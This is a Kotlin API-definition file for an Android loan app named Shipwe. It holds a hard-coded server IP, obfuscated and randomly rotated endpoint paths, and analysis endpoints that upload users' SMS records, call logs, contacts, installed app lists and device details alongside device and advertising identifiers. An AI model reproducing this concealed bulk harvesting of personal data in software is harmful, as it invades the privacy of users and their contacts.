package com.shipwe.loans.http

import com.shipwe.loans.analyse.AnalyseBuilder
import com.shipwe.loans.analyse.AnalyseUtil
import com.shipwe.loans.utils.ShipweDateUtil
import com.shipwe.loans.utils.shared.ShipweSharedHelper
import com.shipwe.loans.utils.shared.ShipweSharedKey
import org.json.JSONObject
import java.util.Random

/**
 * Shipwe
 * @Author wwdeng
 * @CreateTime: 2024/11/28 10:59
 * @Annotation：接口API
 */
object ApiService {

    /**
     * http://159.138.165.72
     * https://www.sancrumcote.online
     * 域名
     */
    const val SHIPWE_HOST = "http://159.138.165.72"

    /**
     * 接口Url
     */
    object API_URL{
        /**
         * 地区转发
         * /v1/timezonePath
         */
        const val SHIPWE_API_TIMEZONE_URL = "/tkT73UkebYdjLaaS0oWOWQ"

        /**
         * APP业务统一请求接口
         * /v1/commonApi
         */
        val SHIPWE_COMMON_URLS = mutableListOf(
            "/i1FlQtjYHaFsCG4uupHb8Q",
            "/kgzklHSqu9MKf1eqsyruyQ",
            "/jcLeAoRoTgK6dYgrKU92iQ",
            "/gnIPsomZasfM7KWMrrhzZA",
            "/ce4ALuLUq8EkWqJ0bznY9A",
            "/kaEiRJjEda9RTiskGdBK6Q",
            "/hGEhU8OBwywRVzEWp4vSoA"
        )

        /**
         * 图片上传
         * /v1/imageUpload
         */
        const val SHIPWE_API_UPLOAD_FILE_URL = "/b3f4uoMDG7eomFUpwqq9JCg"
    }

    /**
     * 数据分析Path
     */
    object ANALYSIS_PATH{

        /**
         * googel install 请求路径
         * /v1/channelInstallTemp
         */
        const val SHIPWE_ANALYSIS_GOOGLE_INSTALL_PATH = "/gkjPwa2CvClqC2FwniTVg"

        /**
         * adjust install 请求路径
         * /v1/adjustInstallTemp
         */
        const val SHIPWE_ANALYSIS_ADJUST_INSTALL_PATH = "/b4soKuRYBKocLE2lUgaKClw"

        /**
         * facebook install 请求路径
         * /v1/saveFbAppData
         */
        const val SHIPWE_ANALYSIS_FACEBOOK_INSTALL_PATH = "/zCdKzcmYJITqL3Fx58Dw"

        /**
         * AppList 请求路径
         * /v2/userAppList
         */
        const val SHIPWE_ANALYSIS_APPLIST_PATH = "/b3eRkBMxteokhhX2bZN5ww"

        /**
         * 请求路径
         * /v2/smsRecord
         */
        const val SHIPWE_ANALYSIS_SMS_PATH = "/Eu65Fg5iP8vV3AoUnbEQ"

        /**
         * device 请求路径
         * /v1/deviceInfo
         */
        const val SHIPWE_ANALYSIS_DEVICE_PATH = "/PQcV11k0bqPStrobzQl1A"

        /**
         * battery 请求路径
         * /v1/userDeviceBattery
         */
        const val SHIPWE_ANALYSIS_BATTERY_PATH = "/lluuTOhCpJqWWKDg3rxikA"

        /**
         * hardwave 请求路径
         * /v1/userDeviceHardware
         */
        const val SHIPWE_ANALYSIS_HARDWAVE_PATH = "/b9Pf58Qne1ZQySDc2CVQQ"

        /**
         * contact 请求路径
         * /v2/phoneBookList
         */
        const val SHIPWE_ANALYSIS_CONTACT_PATH = "/pAn6NYswvRF1lsbvkpAqag"

        /**
         * storge 请求路径
         * /v1/userDeviceStorage
         */
        const val SHIPWE_ANALYSIS_STORGE_PATH = "/jRnN8MQ12zEFutn1anrf9A"

        /**
         * wifi 请求路径
         * /v1/userDeviceWifi
         */
        const val SHIPWE_ANALYSIS_WIFI_PATH = "/FTyE3rKeRGj4IIaLRMAL9A"

        /**
         * calllog 请求路径
         * /v2/callRecord
         */
        const val SHIPWE_ANALYSIS_CALLLOG_PATH = "/Oq1wE5BHhlkUKlZcEw3FvA"
    }


    /**
     * 接口Path
     */
    object API_PATH{
        /**
         * APP配置参数 Path
         * /v1/getAppShowInfo
         */
        const val SHIPWE_API_APP_INFO_PATH = "mDdhCJXNwxX8rDdJphhtiA"

        /**
         * 发送验证码
         * /v1/smsCode
         */
        const val SHIPWE_API_SEND_SMS_PATH = "x8Tt9t5NQymCBMc8fiIBw"

        /**
         * 发送whatsapp验证码
         * /v1/sendWhatAppMessage
         */
        const val SHIPWE_API_WHATSAPP_SEND_CODE_PATH = "SZzStzxxCH3QP1rMYRmPBg"

        /**
         * 校验whatsapp验证码
         *  /v1/checkWhatAppMessageCode
         */
        const val SHIPWE_API_WHATSAPP_CHECK_CODE_PATH = "ttmDja4VwHa5TWo9T3Qo5g"

        /**
         * 登录
         * /v1/userLogin
         */
        const val SHIPWE_API_LOGIN_PATH = "aBOdw4O8eTHk1swxs6UOA"

        /**
         * 无验证码登录
         * /v1/userLoginNoCode
         */
        const val SHIPWE_API_LOGIN_NO_CODE_PATH = "ptm07QYa2UTsujHJK1Dw"

        /**
         * 用户流程状态
         * /v1/userProcess
         */
        const val SHIPWE_API_PROCESS_PATH = "pVjBCZIiaNzSeh4FM0iPFA"

        /**
         * 保存用户图片信息（身份证、护照、驾驶证、人脸）
         * /v1/ocrInfo
         */
        const val SHIPWE_API_OCR_INFO_PATH = "Tmbp7ZxuLj4l8V9hI63Q"

        /**
         * 用户贷款额度
         * /v1/loanLimit
         */
        const val SHIPWE_API_LIMIT_PATH = "niGy0zIFsJoz8k32dkvQ"

        /**
         * 用户贷款额度信息（循环额度）
         * /v1/getLoanHomePage
         */
        const val SHIPWE_API_LOAN_LIMIT_PATH = "rHxkBsBcuutVu5pkhMDCw"

        /**
         * 新用户贷款额度预览信息
         * /v1/getLoanApplyDetail
         */
        const val SHIPWE_API_LOAN_APPLY_PATH = "I1surwQJnv3yPyBDVU1g4w"

        /**
         * 可选额度和期限的预览信息(老用户)
         * /getLoanDetailPageForDays
         */
        const val SHIPWE_API_LOAN_APPLY_CUSTOM_LIMIT_PATH = "x53pPryBaWozamlFez8w"

        /**
         * 创建贷款申请订单
         * /v1/loanApply
         */
        const val SHIPWE_API_LOAN_APPLY_ORDER_CREATE_PATH = "VlTDnRF3xJzzo6Wkg3rQEQ"

        /**
         * 订单列表
         * /v1/getAllOrderList
         */
        const val SHIPWE_API_LOAN_ORDER_PATH = "sQMVqyOx1wh9jDwRjVkbTg"

        /**
         * 贷款还款信息
         * /v1/repayInfo
         */
        const val SHIPWE_API_LOAN_REPAYMENT_INFO_PATH = "K81MRqUaRVEOs5Or6EaPAg"

        /**
         * 贷款还款链接
         * /v1/orderRepayH5
         */
        const val SHIPWE_API_LOAN_REPAYMENT_URL_PATH = "Mv7WwFizJGE0jwWrqSqkCg"

        /**
         * 贷款还款链接（肯尼亚、乌干达）
         * /v1/getOrderRepayH5
         */
        const val SHIPWE_API_LOAN_REPAYMENT_KSH_UGX_URL_PATH = "Bi7LmUPsiYzM9NL146kRw"

        /**
         * 获取支付状态（没有还款链接时，会进入查询支付状态流程）
         * /v1/queryPaymentStatus
         */
        const val SHIPWE_API_LOAN_REPAYMENT_STATUS_PATH = "U3ovtqcULwbHvGfbMqfAvA"

        /**
         * 账户列表
         * /v1/getBindCardList
         */
        const val SHIPWE_API_ACCOUNT_LIST_PATH = "O1NmBJLbhRiu9NOwQvmjg"

        /**
         * 已绑定账户列表（法语）
         * /v2/fetchBoundBankAccount
         */
        const val SHIPWE_API_ACCOUNT_LIST_FRENCH_PATH = "b03JJV3wP0QsthTTZX4zuOQ"

        /**
         * 添加账户
         * /v2/bindBankAccount
         */
        const val SHIPWE_API_ACCOUNT_ADD_PATH = "b0pif7VlmwkRx1JyaFideMQ"

        /**
         * 删除已绑定的账户
         * /v1/deleteBoundBankAccount
         */
        const val SHIPWE_API_ACCOUNT_DELETE_PATH = "Ls5kiXMYx2imqqSbS6LPCQ"

        /**
         * 评价弹框
         * /v1/fetchStarWindowConfig
         */
        const val SHIPWE_API_STAR_COMMENT_PATH = "b9mqduyFs5fXvrOTBNxg"

        /**
         * 提交意见反馈
         * /v1/feedback
         */
        const val SHIPWE_API_FEEDBACK_SUBMIT_PATH = "VNn420DZigOWOp8v0Pyj1w"

        /**
         * 推荐APP列表
         * /v1/userDeniedDc
         */
        const val SHIPWE_API_RECOMMEND_APP_LIST_PATH = "nRr6iJ32w0fm1YP1QG5Ow"
        /**
         * 事件埋点
         * /v1/userBuriedPoint
         */
        const val SHIPWE_API_TRACK_EVENT_PATH = "rllRZiUqNqthgJWYXpaxA"

        /**
         * 消息列表
         * /v1/fetchUserMessages
         */
        const val SHIPWE_API_MESSAGE_LIST_PATH = "CKtjFZ1ifbrVGpYzsxUiEg"

        /**
         * 产品列表
         * /queryNewStyleProducts
         */
        const val SHIPWE_API_LOAN_PRODUCT_LIST_PATH = "pEImndd3gRVj1WarNafgKQ"

        /**
         *  复制产品A信息 到 产品B (配置信息、进件信息)
         *  /oneKeyCopyToApply
         */
        const val SHIPWE_API_LOAN_PRODUCT_COPY_PATH = "b6ibljrOgyeswTy5KrXZQ"

        /**
         * 优惠券、积分列表
         * /v1/getUserCouponAndScoreInfo
         */
        const val SHIPWE_API_COUPON_LIST_PATH = "IcfYA4USf927RF15bXPB7Q"

        /**
         * 签到信息
         * /v1/userSign
         */
        const val SHIPWE_API_SIGN_PATH = "IBqRAGvzTsZ4hDOzlLGRQ"

        /**
         *  存取积分、优惠券兑换
         *  /v1/changeUserScore
         */
        const val SHIPWE_API_SAVE_OR_USE_PATH = "w2iM8mAt0gmapcCNS5PyBA"

        /**
         * 保存自定义参数接口
         * /v1/saveAbUserInfo
         */
        const val SHIPWE_API_SAVE_CUSTOM_PARAMS_PATH = "VmebC9zi2dXewzGJeKDrww"

        /**
         * 获取自定义参数
         * /v1/getAbUserInfo
         */
        const val SHIPWE_API_LOAD_CUSTOM_PARAMS_PATH = "fOXyaica19jN7DI2CnTg"

        /**
         * 清除用户数据
         * /v1/userCancel
         */
        const val SHIPWE_API_USER_DATA_CLEAR_PATH = "b4h2W48rSNfmM1FWStJg"
    }

    /**
     * 获取请求Url
     */
    fun getHttpUrl(isUpload: Boolean = false): String{
        var url = getRandomUrl()
        if (isUpload){//上传
            url = API_URL.SHIPWE_API_UPLOAD_FILE_URL
        }
        //地区转发
        val timeZone = ShipweSharedHelper.getShipweSharedString(ShipweSharedKey.SHIPWE_TIMEZONE)
        if (timeZone.isNotEmpty()){
            return "$SHIPWE_HOST/$timeZone$url"
        }
        return "$SHIPWE_HOST$url"
    }

    /**
     * 添加公共参数
     */
    fun JSONObject.addCommonParams(): JSONObject {
        apply {
            put("product", AnalyseBuilder.product)                                           //  产品 APP名称
            put("token", ShipweSharedHelper.getShipweSharedString(ShipweSharedKey.SHIPWE_TOKEN))                                               //  token
            put("apiVersion","v3")                                                      //  接口版本
            put("androidId", AnalyseUtil.getAndroidId())                                    //  安卓id
            put("advertId", AnalyseUtil.getAdId())                                          //  广告id
            put("aduid", AnalyseUtil.getAdId())                                             //  广告id
            put("aduidPath", AnalyseUtil.getAndroidId())                                    //  广告地址
            put("isLimitAdTrackingEnabled", AnalyseUtil.getAdEnabled().toString())          //  是否限制广告id，1是 0否
            put("userId", ShipweSharedHelper.getShipweSharedString(ShipweSharedKey.SHIPWE_USERID))                                             //  userId
            put("version", AnalyseBuilder.libVersion)                                        //  app版本号
            put("timp",System.currentTimeMillis())                                            //  时间戳
            put("country", ShipweSharedHelper.getShipweSharedString(ShipweSharedKey.SHIPWE_TIMEZONE_COUNTRY))                                  //国家标识
            put("tzid", ShipweSharedHelper.getShipweSharedString(ShipweSharedKey.SHIPWE_TIMEZONE_ID))                                          //当前时区id
//            put("path","")                                                                        //  传映射后的接口路径，不带前面的/号
        }
        return this.addCustomParams()
    }

    /**
     * 添加随机参数增量 4
     */
    private fun JSONObject.addCustomParams(): JSONObject{
        val mobile = ShipweSharedHelper.getShipweSharedString(ShipweSharedKey.SHIPWE_MOBILE)
        val startTime = ShipweSharedHelper.getShipweSharedString(ShipweSharedKey.SHIPWE_APP_START_TIME)
        val loginTime = ShipweSharedHelper.getShipweSharedString(ShipweSharedKey.SHIPWE_LOGIN_TIME)
        val currentTime = ShipweDateUtil.getFormatTime(System.currentTimeMillis(),"dd/MM/yyyy HH:mm:ss")

        put("loginMobile",mobile)
        val randomIndex = Random().nextInt(4)
        if (randomIndex == 1){
            apply {
                put("startTime",startTime)
            }
            return this
        }
        if (randomIndex == 2){
            apply {
                put("startTime",startTime)
                put("loginTime",loginTime)
            }
            return this
        }

        if (randomIndex == 3){
            apply {
                put("startTime",startTime)
                put("loginTime",loginTime)
                put("currentTime",currentTime)
            }
        }
        return this
    }

    /**
     * 获取随机Url
     */
    fun getRandomUrl(): String{
        return API_URL.SHIPWE_COMMON_URLS[Random().nextInt(API_URL.SHIPWE_COMMON_URLS.size)]
    }
}